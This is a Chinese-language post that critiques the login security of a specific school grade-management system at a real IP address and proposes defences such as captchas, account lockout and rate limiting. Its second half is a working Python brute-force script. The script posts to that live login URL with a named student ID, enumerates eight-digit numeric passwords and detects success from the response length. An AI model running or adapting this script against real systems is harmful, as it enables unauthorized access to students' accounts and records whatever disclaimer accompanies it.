本文分析存在此系统存在的不安全因素
综合成绩管理系统
网址:http://219.148.85.172:9900/pjxfjdpm/
免责声明
- 本文不是说明如何暴力破解密码,而是说明此登陆验证不太安全
- 本文设置私密查看,只允许知道链接的访问不会公开
登陆验证
1:登陆验证这种权威系统加上验证码会安全很多(虽然现在机器识别可以识别部分验证码,但是学习成本比较高,会对破解者造成一定的困扰)
2:针对连续输入错误密码应该冻结账号不再允许其登陆(冻结可以按照时间来,连续输入错误5次密码冻结5分钟依次类推,或者被冻结之后需要手机获取验证码或者邮箱获取验证码前提要绑定安全手机或者安全邮箱,前者限制时间就挺好)
3:针对于ip的请求限制(一个ip2秒内请求3次直接封锁ip但是对于代理ip无效)
4:智能检测登陆环境(可以从请求头来判断,过滤网络爬虫,不合法UA直接过滤)
我的建议
1:在所有的这种登陆教务系统都应该加上如上验证(技术上不难实现)
2:后台应该加强风控措施(例如xxx账号在xxx IP登陆xx次,登陆时间以及登陆ip都可以记录下来,快速锁定其信息)
3:对于数据库最终应用sqlmap注入检查是否存在漏洞
暴力破解
- 只是进行测试(并未破解任何人的学号密码等信息)
通过抓包发现POST请求
url:http://219.148.85.172:9900/pjxfjdpm/list.asp
参数:zjh mm
参数说明:zjh:学号;mm:密码
python的requests模块方便简单,这里演示python代码
import requests
def request(mm):
data = {
'zjh': '198292308',
'mm': str(mm)
}
headers ={
'Content-Type':'application/x-www-form-urlencoded'
}
url = 'http://219.148.85.172:9900/pjxfjdpm/list.asp'
reponse = requests.post(url = url ,data = data ,headers = headers)
return len(reponse.text)
#下面函数简单的穷举8位纯数字密码组合
def Exhausted(mm):#穷举8位纯数字密码组合
mm = str(mm)
#这个return等价于下面代码块,下面写的太啰嗦
return '0'* (8 - len(mm)) + mm
'''
if len(mm)==7:
return '0'*8 + mm
if len(mm)==6:
return '0'*2 + mm
if len(mm)==5:
return '0'*3 + mm
if len(mm)==4:
return '0'*4 + mm
if len(mm)==3:
return '0'*5 + mm
if len(mm)==2:
return '0'*6 + mm
if len(mm)==1:
return '0'*7 + mm
'''
mm = 0
while(1):
back = request(Exhausted(mm))
print(Exhausted(mm))
if back != 101:#如果登陆返回的字符串长度不是101就是证明登陆成功break即可
print(Exhausted(mm))
break
mm = mm+1
上面代码只是简单的穷举8位纯数字组合,当然通过别的组合是可以穷举到所有密码的,这里不再演示